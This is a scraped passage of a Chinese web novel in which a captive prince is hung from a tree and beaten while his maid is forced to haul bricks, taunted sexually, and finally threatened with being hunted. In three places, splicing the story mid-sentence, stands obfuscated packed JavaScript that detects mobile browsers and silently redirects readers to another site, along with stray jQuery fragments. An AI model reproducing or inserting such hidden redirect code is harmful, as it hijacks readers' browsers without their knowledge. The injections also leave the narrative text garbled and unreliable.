乔天璇胸口一闷,一脚没站稳跌坐在了地上。 “哎呀皇兄,小美人儿无理取闹,你别当真啊。”穆泽无奈地看着穆耶颌,似是在埋怨穆耶颌不懂得怜香惜玉。 “行了二弟,这小侍女的心都在她那太子殿下的身上,你也别费口舌替她说话了,当真是浪费感情。”穆耶颌转身蹲在了喘息着的乔天璇面前,盛气凌人道:“规矩你必须遵守,我便与你讲讲这乐子的规矩,你可要竖起耳朵听好了。” “哼……”乔天璇捂着心口,余光瞟到陈渊龙被那几个宫卫拿了一根绳子绑起双手吊在了院子中的一棵枯树上。 那棵枯树并不算高,吊着陈渊龙的那条枝干距离地面也不过八尺而已。 可身为太子的陈渊龙从前哪里被这样吊起来过? 他的脸色铁青,一双黑眸中尽是杀意。 穆耶颌认真道:“小侍女,你要是不想你的太子殿下再被打,那你就得每日在酉时之前把墙前的那堆砖搬到对面的墙前一块一块堆起来,而且要堆得工工整整,不能敷衍了事,要不然可就不过关了。当然,要是过关了,你的太子殿下那一日便不必挨打。不过你在搬砖的同时,你的太子殿下会被一直吊在树上。我派宫卫在这儿守着,要是你提前搬完了砖,我来检查之后觉得过关了,宫卫就会放你的太子殿下来。不然的话,你的太子殿下就得一直被吊在树上了,直到你把那一日该搬的砖给搬完,你的太子殿下才能被放下树,还得挨一顿打。” “这……就是你所说的乐子?”乔天璇气得发笑。 “是啊,那么开始吧,小侍女。”穆耶颌站起了身,居高临下道:“如果你在酉时之前搬完了砖,我的宫卫就会来向我报告,我也会过来检查。今日你要是过关了,你的太子殿下便能免挨一顿打。” 说完,穆耶颌转身离了去,只留下两个宫卫守着在这儿。 乔天璇看着被吊在树上的陈渊龙神色疲惫不堪,浑身伤痕累累,终究是担心他会被折磨死了,于是赶紧来到了堆着砖的墙前,开始一块砖一块砖地把所有的砖都搬到对面的墙前。 她深深明白“陈渊龙若是死了,她肯定也不会有什么好下场”这个道理,所以这些砖她必须得搬,要不然陈渊龙再这么被朔风国皇子三兄弟打下去,尤其是被比他大五岁的穆耶颌打,怕是很快就会被活活打死。 砖很沉,乔天璇一次只能搬得动一块。 两个守在这儿的宫卫像是看有意思的热闹一样,乐呵地看着搬砖的乔天璇在两面墙之间来来回回。 不多时,乔天璇就搬砖搬得气喘吁吁。 这段时间她一直都吃不够住不好,早已瘦得皮包骨,并不比陈渊龙好到哪里去。现在又干搬砖这种极其耗费体力的活儿,简直是在强行透支身子。 又搬了好一会儿砖,乔天璇实在是觉得太累,便直接坐在了地上休息。 看着眼前还有一大堆等着自己去搬的砖,而且这样的活儿之后每日都得干,乔天璇感觉自己就像是一头拉不完磨的驴子。 微风拂来,乔天璇头上本就凌乱的发丝被吹得根根飞起,她却已经没有力气去打理了。 自从当了陈渊龙的贴身侍女,乔天璇便不再梳男子的发髻,而是梳着双丫髻,身上穿的也从男装换成了侍女的服饰。 陈渊龙一开始总是像在看一个陌生人一样看着不再女扮男装了的乔天璇。 毕竟乔天璇恢复女子装束时与她女扮男装时的差别实在是太大了,给人感觉完全就是两个不一样的人。 但现在,陈渊龙已经完全熟悉了恢复女子装束后的乔天璇。他不再总是冷眼看着乔天璇,尤其是在知晓了乔天璇被迫顶替了她的废物弟弟来给他伴读的事情之后便对乔天璇感到十分佩服。 “没事的,天璇,要是太累了,你就多休息会儿。”陈渊龙看着乔天璇累得瘫坐在地的单薄身躯,眼中满是不忍。 “多休息会儿就搬不完砖了,太子殿下,我总不能让你再被他们打吧?再被打的话,你怕是会被打死的。”乔天璇挣扎着爬起了身,继续去搬还没搬完的砖。 她还是想要好好活下去的,而这个前提是陈渊龙不能死了。 被吊在树上无能为力的陈渊龙看着乔天璇又开始了新一轮的搬砖,眼底泛起浓烈的不甘和愧疚。 太阳逐渐升高,一面墙前的砖在慢慢减少,另一面墙前的砖在慢慢增多。 乔天璇累渴了就去石井里打水来喝,饿了也去石井里打水来喝。 守在院子里的宫卫轮流离开院子去吃了饭,随后继续回来守着院子中的两人。 约莫申时,来送饭的宫女给两人送来了馒头搭配稀饭的晚饭,并把用来盛早饭的餐具、托盘给收走了。 乔天璇连忙狼吞虎咽地吃完了自己的那一份晚饭,正当她打算去喂陈渊龙吃饭时,忽地想起自己根本就够不到被吊在树上的陈渊龙的嘴巴。 “无事,我不吃也行。”陈渊龙目光沉沉地看着无奈的乔天璇。 乔天璇拿着馒头走回房中,边走边道:“酉时之后你被放下来了再吃吧。” 每日,用来盛晚饭的餐具、托盘在戌时快结束时才会有宫女来收。而乔天璇会在睡前把两人的餐具、托盘放到院门外,这样宫女就不必进来收了,直接从院门口拿走就行。 太阳逐渐西沉,距离酉时越来越近了。 乔天璇抓紧时间搬剩下的砖,哪怕手已经在不断地发抖。 搬啊搬啊搬啊搬,乔天璇不敢有一刻停歇。 终于,乔天璇赶在酉时之前把所有的砖都搬到了另一边的墙前工工整整地堆了起来。 见状,其中一个宫卫出了院子去向穆耶颌报告此事。 穆耶颌很快就来到了院子里。 看着全都被搬到了另一边的墙前且堆得工工整整的砖,穆耶颌满意地点了点头,示意宫卫把吊在树上的陈渊龙给放下来。 陈渊龙被吊得太久,双手都是麻木的。他踉跄地来到了乔天璇面前,不安道:“是我不好,对不起。” “……” 乔天璇累得一个字都不想说,只是轻轻点了点头表示自己听到了陈渊龙说的话。 看着眼前的两人,穆耶颌不禁乐道:“哈哈哈哈哈哈哈哈哈……小侍女,累坏了吧?没办法,跟着你的太子殿下在一起就是这么累的了,你且受着吧,明日还得继续,今夜你可要好好休息啊。” “哼。”乔天璇转身进了房中,看都不看穆耶颌一眼。 陈渊龙连忙跟上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208989|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 穆耶颌估计是懒得跟已经疲惫不堪了的乔天璇计较,他带着自己的两个宫卫离开了,连院门都不带关一下,任由院门敞开着。 乔天璇走到了桌子旁,看了一眼陈渊龙那份已经凉透了的馒头和稀饭,转头对陈渊龙道:“太子殿下,吃饭吧。” “嗯。”陈渊龙毫不犹豫地拿起那碗冰凉的稀饭喝了几口,随即又拿起冰冷的馒头大口大口吃。 乔天璇见穆耶颌带着他的两个宫卫离开了,她去拿了自己的毛巾之后转身返回了院子里,赶忙去把院门给关了。 累了一整日,乔天璇来到石井边打了一桶水,在用灵火将其加热成温水后,拿毛巾湿水简单地给自己擦了擦身子。 换洗的衣物他们并不缺,乔天璇今日搬砖累出了一身汗,定是要换一身干净衣服才行。 待换好了衣服,乔天璇又打水把自己的脏衣服和陈渊龙那身带血的衣服给洗了。 正洗着衣服,乔天璇见陈渊龙将两人的餐具、托盘放到了院门口。 这活儿本来每日都是她这个贴身侍女来干的,陈渊龙今日竟是破天荒地把这个活儿给揽了。 看着陈渊龙脸上几处结痂的伤口,乔天璇想到陈渊龙衣服下的身子几乎到处都是这样的伤,当即道:“太子殿下,你先去休息吧。” “好。”陈渊龙答应着,一瘸一拐走进了房中。 乔天璇忙完了所有的活儿,天也已经彻底黑下来了。 她托着灵火照明,小心翼翼地回了房中,关好房门,来到榻边,熄火后躺到了榻上。 漆黑的房内安静得只剩下榻上两个人的呼吸声。 乔天璇与陈渊龙的中间依旧隔着一个人的位置。 躺下后的乔天璇挪了挪身子,感觉自己的屁股好像硌到了一个硬东西。 她一手滑过去,摸了摸那个硬东西,立马回想起了那是白日里穆泽给自己抛来的饴糖。 饴糖外面包了一层薄薄的糖纸,让人摸起来不会粘手。 可乔天璇顿时厌恶地把手中的饴糖一把扔出了窗去。 “啪!” 窗外饴糖落地的声音十分响亮。 陈渊龙疑惑道:“你扔了什么东西到窗外?” 乔天璇愤恨道:“白日里你被穆耶颌拽到院子里拳打脚踢时穆泽抛给我的一块饴糖。我嫌恶心,没吃,之后忘了。刚刚我上榻后感觉到了那块饴糖,一下子就想起了穆泽把饴糖抛给我时说的那些恶心至极的话,简直令人作呕。” “……” 房内一片沉默。 乔天璇也不指望陈渊龙会有什么回应,她闭上双眼,打算好好睡一觉。 许久之后,乔天璇迷迷糊糊中似乎听到陈渊龙说了些什么。但她已经快要睡着了,根本听不清陈渊龙所说的话。 白日里太累,乔天璇一觉醒来后感觉自己分明才刚躺下,可再睁眼时却已天光大亮,睡觉的时间仿佛只有一瞬。 下一刻,乔天璇听到了来送饭的宫女的动静。 她连忙下榻,去把两人的早饭端到了桌子上。 陈渊龙也醒了,他下了榻,来到桌子前和乔天璇一起吃早饭。 早饭仍旧是馒头和稀饭,吃得乔天璇生无可恋。 吃过早饭没一会儿,外面便传来了强行踢开门的声音。 “来了,又来了。”乔天璇无奈地叹息着,知道自己搬砖的一日又要开始了。 “出来!别在房里面赖着了!”穆耶颌暴躁地喊着。 话音刚落,几个宫卫就冲进了房内,不由分说地把陈渊龙给强行抬了出去。 乔天璇急忙跟上。 毫无疑问,陈渊龙根本拗不过几个宫卫加在一起的力气。 他再次被绑起双手吊到了树上。 穆耶颌冷冷瞟了一眼陈渊龙,随即一脸坏笑地看向了乔天璇,乐道:“还愣着干什么?小侍女,赶紧搬砖吧,今日你把砖搬回到昨日的那面墙前,记得要赶在酉时之前搬好,而且得堆得工工整整才行。要不然,你的太子殿下可就得遭难咯。” 79. [锁] [此章节已锁] 乔天璇当然明白穆耶颌说得没错。 只不过明白一个人说的话和把说话的人放在眼里是两码事。 乔天璇看都不看穆耶颌,径直走向了墙前的那堆砖。 “小侍女,好好搬砖吧!”穆耶颌的声音从身后传来。 乔天璇恨不得一巴掌扇死穆耶颌。 可当她转头看到了被吊在树上的陈渊龙,又只得按捺下心思去搬砖。 她要活,陈渊龙便不能因此而死。她得好好搬砖,赶在酉时之前把砖都搬到另一面墙前,并且堆得工工整整,好让穆耶颌满意,同意过关。 一块块砖沉得让乔天璇的手直发抖,昨日搬砖已经用力过度,今日所搬的砖与昨日的量毫无疑问是一模一样的,肯定又会用力过度。 乔天璇累得不行了就直接瘫坐在地上休息,休息片刻便又起身继续搬砖,不敢耽搁时间。 日日搬砖的日子虽然让乔天璇感觉度日如年,但也让乔天璇的力气变得比从前大了不少。 乔天璇每一日搬砖都没有超时,全都赶在了酉时之前完成,陈渊龙也因此没再遭到过朔风国皇子三兄弟的暴打。 虽然陈渊龙日日都被吊在树上,但他脸上身上的伤好歹都慢慢痊愈了。 只不过下雨的话……陈渊龙就只能被吊在树上淋雨了。 乔天璇和守在院子里的两个宫卫会进房中避雨。 她不止一次看到陈渊龙被突然而至的雨淋得浑身湿透,躲无可躲,只能面无表情地闭上双眼接受雨水的洗礼。 好在朔风国并不经常下雨,即便下雨也是下一阵子就停了,陈渊龙很快就会在雨后的阳光中被晒干。 而乔天璇其实在下雨时心中也着急得很,因为雨会耽误她搬砖的时间。 每当下雨之时,乔天璇心中都会暗暗祈祷雨快点停。 秋风吹尽,冬日来临,雨倒是一滴都不下了。但北风呼啸,天寒地冻,乔天璇仍旧得来院子里搬砖。 陈渊龙照旧被绑起双手吊到了树上。 为了不被风吹出风寒,陈渊龙穿了很厚的衣服,戴上了毛绒帽兜,脚也穿上了毛靴。 朔风国的冬天冷得可怕,陈渊龙带来了足够多的衣物以防万一。 乔天璇从前根本不知还有朔风国这么一个国家,也不知朔风国的天气如何,现在她身上的御寒衣物几乎都是陈渊龙命令她穿上的。 然而乔天璇心中并不愿穿陈渊龙的衣服,奈何实在是太冷了,冷得乔天璇已然顾及不得太多。 御寒要紧,先穿着保暖再说。 在院子里来来回回地搬砖,乔天璇喘息不断。 与此同时,乔天璇也闻到了自己身上穿着的陈渊龙的衣服散发出来的属于他的味道。 那味道跟九宸国皇宫中那些散发着香味的香炉相似。 大概是沉香? 乔天璇微微皱了皱眉。 她不太想闻到陈渊龙的味道。 因陈渊龙而遭受的搬砖之苦让乔天璇每日都累死累活,她恨陈渊龙恨得牙痒痒。 恨他,自然就会连带着他的味道一起恨。 可衣服实在是暖,她不可能脱下陈渊龙借给她穿的御寒衣物,只能极力当自己什么味道都没有闻到。 砖又大又多,乔天璇几乎就没有停下来的时候,搬砖搬得她头顶直冒白色的热气。 吊在树上的陈渊龙被风吹着,浑身直冒白色的寒气。一日下来,绳子绑着枝干的地方都结冰了。 两个宫卫放陈渊龙下树时费了很大的劲儿才把绳子从枝干上取下来。 树本就是棵枯树,每日还吊着一个人,现在又被如此折腾,一天天下来已经有了快要折断的迹象。 然而两个宫卫才不在乎这个。穆耶颌要他们把陈渊龙给吊在树上,他们便会照做,其它的什么都不问。 这日,乔天璇一醒来就见到窗外白茫茫的一片。 “昨晚下雪了。”乔天璇喃喃着,赶忙加上厚衣服后下了榻,出了房门。 天地间银装素裹,院子里满是厚厚的雪。 看来是昨夜下的雪,而且肯定下了挺长一段时间。 乔天璇一脚深一脚浅地走到了墙前的那堆砖前,看到底下的砖都被埋在了雪中。 今日要是搬砖,肯定会比往日费不少劲儿。 想罢,下雪给乔天璇带来的惊喜转瞬而逝。 她垂头丧气地转身回了房中。 吃不饱的肚子一直在咕咕叫,叫得乔天璇有些恼火。 乔天璇躺回到了榻上,想着再多休息一会儿。 片刻后,早饭被宫女送来了。 乔天璇再次起身下榻,无精打采地将两人的早饭都端到了桌上。 也许是太冷了,陈渊龙穿得又暖,他窝在被窝里还没有醒。 可他是要被从早到晚吊在树上的人,早饭如果不吃,肯定扛不住,必须得起身把早饭给吃了。要不然等会儿穆耶颌的宫卫来了,他们定会二话不说地把陈渊龙抬出去吊到树上。到那时候就没有吃早饭的机会了,怕是得从早饿到晚。 身为陈渊龙的贴身侍女,乔天璇赶紧把陈渊龙给叫醒了。 “起身吃早饭了,太子殿下。” 陈渊龙睁开双眼,看到榻前的乔天璇说话时呼着白气,脸蛋被冻得红扑扑的。 “嗯。”陈渊龙立马起身,又穿上一件御寒的衣服后便来到了桌上和乔天璇一起吃早饭。 乔天璇啃着手中的馒头,瞅了一眼当初来朔风国时陈渊龙带上的那一车子装衣物的衣箱。 那会儿乔天璇心中还嘀咕过陈渊龙怎么去敌国当质子还有心思带那么多的衣物,现在看来,还好有那些衣箱里的衣物,要不然就这堪比冷宫的地方,还不给炭火取暖,怕是早就把人给活活冻死了。 天冷,馒头和稀饭也冷得快。 尤其是稀饭,乔天璇都不敢一直吃馒头,而把稀饭晾在一边。 她先把稀饭给喝完了才放下心来吃馒头,要不然吃完馒头后再想喝晾在一边的稀饭时就跟喝凉水一样了。 陈渊龙估计也是这么想的,他和乔天璇一样都是先喝完了稀饭再吃馒头,一改往日先喝几口稀饭就开始吃馒头,吃完馒头再喝剩下的稀饭的习惯。 “呼——呼——呼——呼——” 窗外吹着冰冷的风,一阵一阵又一阵。 乔天璇一想到自己等会儿就要在这种风中搬砖了,心情顿时差到了极点。 吃过早饭,陈渊龙从衣箱中取出了两件带毛的披风,一件黑色,一件红色。他把黑色披风给自己披上,把红色披风递给了乔天璇。 “太子殿下?这会不会穿得有点太多了?”乔天璇接过红色披风,想到自己身上已经穿了十层衣服了,其中有七层都是借了陈渊龙御寒的衣服来穿。要是再披上这件红色披风,那自己身上可就有十一层衣服了。 陈渊龙抬眼看着乔天璇,认真道:“天冷,多穿些总是好的。他们不给我们炭火和药物,我们千万不要被冷病了。” “好。”乔天璇也知陈渊龙说得不错。 千万不能病了,尤其是她。病了,搬砖就很困难了。 披上了红色披风后,乔天璇疑惑道:“太子殿下,红色这么艳丽的颜色,你怎么不披?” 陈渊龙道:“天寒地冻的,我被吊在树上,若是眼面没有一抹红来让我清醒,要是睡着了,估计离冻死也不远了。” “……这样啊。”乔天璇被陈渊龙这话说得心中一动。 的确,在如此冷的地方睡着,极有可能会因为失温而死。 可一想到陈渊龙一困就会看着自己来清醒,乔天璇就莫名觉得浑身不自在。 “砰!” 院门被大力踹开了。 想都不用想便知道是穆耶颌又带着他的宫卫们来了。 “哎呀!今日下的是今年的初雪啊!怎能不来和小美人儿一起看看呢?!” 是穆泽的声音。 乔天璇深呼吸了一口气。 穆昌高兴道:“是啊,初雪最好看了!” 这朔风国二皇子和三皇子倒是有些时日没来了,现在他们突然来了,乔天璇当真是一点儿也不欢迎他们。 穆泽就不用说了,简直流氓一个。 穆昌就是个狗仗人势的应声虫,他的两个皇兄说什么,他便跟着附和什么。 穆耶颌居高临下看着乔天璇,饶有兴致道:“地上的雪真是厚啊,也不知小侍女能不能赶在酉时之前搬完砖。” 乔天璇偏过头不看朔风国皇子三兄弟。 眼前这仨她一见到就心烦。 “好了,乐子也该开始了,来人!”穆耶颌移目看向了陈渊龙,挥手示意身后的宫卫。 几个宫卫快步跑到了陈渊龙的身旁,强行将陈渊龙抬了出去,将其双手绑起来后吊在了树上。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213797|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棵枯树的每条枝干上都落了一层白雪。 为了把绑着陈渊龙双手的绳子另一头绑上枯树的枝干,一个宫卫用一把手柄长长的铲子将枝干上的雪给铲了下来。 当然,也就只铲了吊着陈渊龙的那条枝干而已,枯树上其余的部分依旧覆着白雪。 乔天璇默默地开始搬砖。 红色的身影在一片雪白中格外刺眼,仿若一朵行走的红梅。 就如乔天璇所想那般,在雪地中搬砖格外费劲。 比起平时,她现在的搬砖速度下降了差不多五倍。 朔风国皇子三兄弟迟迟不走,都在屋檐下齐齐看着乔天璇艰难地搬砖。 即便穿得很厚,可乔天璇还是能够感觉得到雪的冰冷。 雪地上一遍又一遍出现一脚深一脚浅的两行脚印,这也意味着一块又一块沉重的砖被人从一面墙前搬到了另一面墙前。 “不错嘛,小侍女,搬得很努力嘛。”穆耶颌的目光一直落在乔天璇的身上。 “哼。”乔天璇心中涌起一股强烈的逆反之意。 如果可以,她真想把手中的砖扔向穆耶颌。 只可惜她不能逞这一时之快,不然她之后要面对的事情肯定会让她生不如死。 穆泽笑盈盈道:“小美人儿,听说你自从开始搬砖之后,小竹竿子都没再挨过打了。看来你的体力很好啊,日日都能在酉时之前搬完砖、堆好砖,也不知在香榻上的你体力是不是也能这么好。” 乔天璇浑身一颤,心中恶心得不行。 穆昌嫌弃地懒懒道:“她搬得好慢啊。” 乔天璇一股火直窜脑门。 搬得慢?你怎么不来这雪地里搬一下试试? “的确,搬得比平时要慢多了。”穆耶颌摇了摇头,不满道:“我见过她之前搬砖的速度,比现在的速度要快多了。” 穆昌不悦道:“那她就是在偷懒咯?” 穆泽无奈道:“是因为雪地难行。” 穆耶颌不屑道:“我管她是因为偷懒还是因为雪地难行,反正她要是在酉时之前搬不完所有的砖到对面的墙前工工整整地堆好,那就是不过关。她的太子殿下必须得被我们暴打一顿。” 穆泽瞟了一眼陈渊龙,烦躁道:“可是我们已经很久没有打过那个小竹竿子了,我的手都已经痒痒了。” 穆昌认真道:“我看这小侍女有力气得很,既然她之前每次都能在酉时之前搬完砖、堆好砖,那她今日估计也能做得到吧?” “我偏不让她有做得到的机会。”穆泽坏笑着,大步走到了乔天璇已经搬好且堆好了的那些砖前,双手猛地一推。 “哗啦——” 堆好的砖一下子全都散落在了雪地上。 听到动静,还在另一边墙前准备搬下一块砖的乔天璇当即回头一望,见自己方才辛辛苦苦好不容易搬来堆好的一块块砖全都被穆泽给推倒了,登时火冒三丈道:“你在干什么啊?!” “哈哈哈哈哈哈哈哈哈……二弟,你可真是添乱舔得一把好手!干得好!”穆耶颌乐得眼睛都眯了起来。 “哟嘿!美人嗔怒!好看!”穆泽得意地看着乔天璇,像是在看一件战利品。 乔天璇气得浑身直发抖。 那可是她好不然容易才搬来堆好的砖!穆泽这么一推,她又得重新再堆一遍了! “没事,再堆一遍嘛,又不是什么大事。”穆昌兴致勃勃地看着眼前的画面。 “哼……”乔天璇猛地转头瞪了屋檐下的穆昌一眼。 真是站着说话不腰疼,大冷天的,她当然想早点搬完砖好完事去休息!至于再堆一遍,话倒是说得轻巧,他穆昌怎么不来搬?还说不是什么大事……对她来说,这就是大事!要是因此没能赶在酉时之前搬完砖,陈渊龙可是会被暴打一顿的! “哎嘿哈哈哈没事没事。”穆泽笑嘻嘻道:“小美人儿,你不就是担心自己没法在酉时之前堆好这些砖,你的太子殿下会挨我们的揍嘛。若是真的如此,你就趴在我的胯间当狗钻一回,记得还得‘汪汪汪汪’叫哦,我便让皇兄睁一只眼闭一只眼当你今日过关了。” “呸!!!” 树上突然传来一声啐人口水的声音。 乔天璇本来转头看向穆泽的怒目登时不可思议地望向了被吊在树上的陈渊龙,心中震惊至极。 身为质子的陈渊龙……居然朝朔风国二皇子的头上啐了一口?! 80. 朔风之难(五) 只见陈渊龙目眦欲裂,眼中爬满血丝,一张冷脸上燃着浓浓的怒火。 穆泽当即转身抬头望向了被吊在树上的陈渊龙,怒道:“死竹竿子,你找死?!” 穆耶颌也在一瞬的震惊之后大步迈向了陈渊龙的方向。 穆昌对着陈渊龙大喊:“恶心!恶心!准备挨揍吧!” 陈渊龙冷冰冰地扫了穆泽、穆耶颌、穆昌三人各一眼,目光在落到乔天璇身上时变得柔和了许多。 “……傻瓜。”乔天璇小声嘀咕着,心中清楚陈渊龙马上就有苦果子吃了。 “把这小竹竿子给我放下来一些!”穆耶颌恶狠狠地命令着宫卫,已然步至吊着陈渊龙的枯树旁。 “是!”两个之前一直负责守在院子里的宫卫连忙将吊着陈渊龙的绳子放下来了一些,让陈渊龙虽然双脚沾不到地,但却能与穆耶颌平视。 穆耶颌死死盯着近在咫尺的陈渊龙,粗鲁地解开了系在陈渊龙身上的披风,将其一把丢在了一旁的雪地中。 随后,穆耶颌对着陈渊龙就是一顿几乎用尽全力的暴打。 “砰!砰!砰!砰!砰!砰……” 陈渊龙被打得闷哼不止,痛得低喘呻吟。 穆泽和穆昌也赶到了陈渊龙的身旁,满脸怒色地和穆耶颌一起暴打陈渊龙。 陈渊龙即使穿得厚,可被闷拳反复多次击打还是让他痛苦地闭上了双眼。 他的双手被绳子绑着吊在树上,根本毫无还手之力。 乔天璇愣愣地看着眼前挨打的陈渊龙,怎么也想不通陈渊龙为何会在听到穆泽对她说了那些恶心的话后突然啐穆泽一口。 陈渊龙原本大可不必管穆泽对她说的话的。 “怎么样?被打得爽不爽?我问你话呢小竹竿子!说话!”穆耶颌毫不手下留情,打得陈渊龙的脸接连青了好几块地方。 “呸!呸!呸呸呸呸呸!”穆泽猛地啐了陈渊龙的脸好几口,目露凶光道:“我让你啐我!我让你啐!我啐死你!啐死你!呸!” 穆昌在陈渊龙的身后一脚又一脚踢踹着他,气愤道:“打死你个朝我二哥吐口水的混蛋!打死你!打死你!打死你!打死你!” 乔天璇见陈渊龙不一会儿就被打得奄奄一息,害怕他就此送命,赶忙向正在暴打陈渊龙的朔风国皇子三兄弟求饶:“是九宸国太子有错在先,是他不该那么做,他一定已经知错了!还望三位皇子高抬贵手,不要再打了!” 闻言,穆泽停下了暴打陈渊龙的动作,转身望向了乔天璇,不悦道:“小美人儿,你的太子殿下可是往我头上啐了一口啊!你说我该如何才能原谅他?” 乔天璇心中虽然对穆泽咒骂不止,但表面上还是对穆泽摆出一副可怜兮兮的表情。 毕竟她是在求饶,而且她必须得想办法求饶成功。 只是她实在是想不到除了让朔风国皇子三兄弟继续暴打陈渊龙之外还能有什么办法可以让他们仨原谅陈渊龙了。 乔天璇的脑子一瞬间就像是麻木了一样,一片空白,就如此时白皑皑的雪地一样。 “怎么?想不到该如何让我们原谅你的太子殿下的办法?”穆泽一步一步走近了乔天璇,眼底泛起意味不明的光。 “我、我搬砖!搬砖!我赶紧搬砖!我一定会在酉时之前把所有的砖都给搬完的!!!”乔天璇心中怕极了穆泽眼底那种意味不明的光,慌忙不再与穆泽对视,而是转身去搬还未搬完的砖。 她可太清楚穆泽对自己的心思了,逃避穆泽是必须的事情! 然而手中的砖又冰又凉,就跟一块冰坨子似的,冻得本就心慌的乔天璇浑身直哆嗦。 但此刻的乔天璇就仿佛是抱住了救命的宝物,哪怕这“宝物”再冻手,她也要死死地抱着。 搬砖,她要搬砖,现在对她来说最好的惩罚反倒是搬砖。 “事情既然都已经到了这个份儿上了,那今日就别搬砖了吧。”穆耶颌停下了暴打陈渊龙的动作,冷笑一声。 “皇兄?”穆泽不解地回头望向了穆耶颌。 穆耶颌依旧看着眼前的陈渊龙,可接下来的话却是对着乔天璇说的。 “小侍女,我们一起来干点有意思的事情吧,如何?” 陈渊龙猛然睁开双眼,凤眸圆瞪。 穆耶颌笑道:“小竹竿子,瞧你被吓的,真是跟只容易受惊的小鹿一样。” “什么有意思的……事情?”乔天璇怀里抱着砖,小心翼翼地问着。 她实在是不敢猜穆耶颌所说的有意思的事情是什么。 穆耶颌转身走向了乔天璇,边走边道:“小侍女,你知道吗?围猎是我们朔风国皇族无一例外全都喜爱的事情,既然你想让我们原谅你的太子殿下,那么今日你便来当我们围猎的猎物吧。” “猎物,围猎的猎物……”乔天璇心中一沉。 穆泽不安道:“围猎小美人儿啊?万一她被围猎时一不小心死了该怎么办?” 穆耶颌毫不在乎道:“死了就死了呗。” “……” 乔天璇望见被吊在树上的陈渊龙恶狠狠地瞪着穆耶颌,一双黑眸阴沉得令人毛骨悚然。 “真是可惜了。”穆泽转过头,更加仔细地端详起了乔天璇,似是在不舍地与即将下肚的美味作最后的眼神告别。 穆昌终于停下了踢踹陈渊龙的动作,高兴地赶到了穆耶颌的身旁,兴奋道:“那我们在哪儿围猎她呀?” 穆耶颌张望了一下院子,道:“就在这儿围猎。” “就在这儿?这儿才多大点地方?”穆泽和穆昌异口同声,皆是满脸惊讶。 穆耶颌道:“雪地可不好走路,更不好躲。让宫卫把院门和房门关死,她就只能在两面墙前的砖、石井、枯树四个地方躲了。我倒是想看看她大概需要花多长时间才能死在我们手中。” 乔天璇听得遍体生寒。 她才不要当被围猎的猎物! 穆耶颌似乎从乔天璇的眼神中看出了她的惶恐与惊慌,当即道:“来人,擒住她!” “是!”两个之前一直负责守在院子里的宫卫连忙赶来一左一右擒着乔天璇,不让乔天璇动弹分毫。 “等着吧,小侍女,一会儿我们就回来。” 说着,穆耶颌带着两个弟弟出了院子。 这次,穆耶颌留下了十个宫卫,其中五个守着房门,另外五个守着院门。 乔天璇远远望着被吊在树上的陈渊龙,心中十分委屈。 都怪他,要不是他,自己也不至于遭受现在这样的事情。 陈渊龙方才被朔风国皇子三兄弟打得浑身上下脏兮兮的,头发凌乱不堪。他与乔天璇深深对视,似是想要安慰乔天璇。 乔天璇明白陈渊龙的无能为力,可这并不代表她能原谅陈渊龙的无能为力。 北风肆意地吹着,吹得乔天璇和陈渊龙发丝乱舞。 突然,乔天璇感觉自己的眼睛里好像进了什么冰冰凉凉的东西。 她难受地眨了几下眼,那冰冰凉凉的东西便化作了冰水。 “下雪了?”乔天璇意识到方才落入自己眼中的东西是雪。 下一刻,雪花在空中越飘越多,雪下得越来越显眼。 乔天璇的头发、肩头、眼睫都落上了片片白雪,她看到被吊着树上的陈渊龙头上身上也落了雪。许是有雪落到了陈渊龙的衣襟内,冻得陈渊龙忍不住浑身一颤。 “天璇,我对不起你。”陈渊龙的嗓子有些哑,也不知是不是被冻哑的。但乔天璇能听得出来陈渊龙说得诚心诚意,语气中似是带着一丝若有若无的哭腔。 可光是这么一句不顶用的道歉哪儿能让乔天璇心安?乔天璇不甘心道:“太子殿下,我要是在等会儿的围猎中死了,我做鬼都不会放过你的。每到深夜,我都会在你耳边叨念,控诉你让我在今日客死他乡的事情,一直到你死为止。” 她从前就总是故意气陈渊龙,说各种恶心陈渊龙的话,丝毫不在乎陈渊龙的心情。这样的习惯,乔天璇感觉自己已经彻底改不掉了。当然,她也没有要改的打算。而眼下许是她能气陈渊龙的最后机会了,她毫不犹豫地对陈渊龙说着气话,一心只想在死之前让陈渊龙感到极致的难受和不安。 陈渊龙沉重地呼吸着,伴随着雪落的声音,一重一轻。 他无话可说,默默地看着乔天璇。 乔天璇却不打算再看陈渊龙了。 她垂眸看着雪地,满眼都是一片又一片叠在积雪上的雪花。 片刻后,朔风国皇子三兄弟便带着弓箭回到了院子里。 穆泽意味深长地眯眼笑着,把一顶大大的兔耳朵帽强硬地戴到了乔天璇的头上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216377|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 乔天璇只觉脑袋一热,心想这毛帽子还挺保暖。 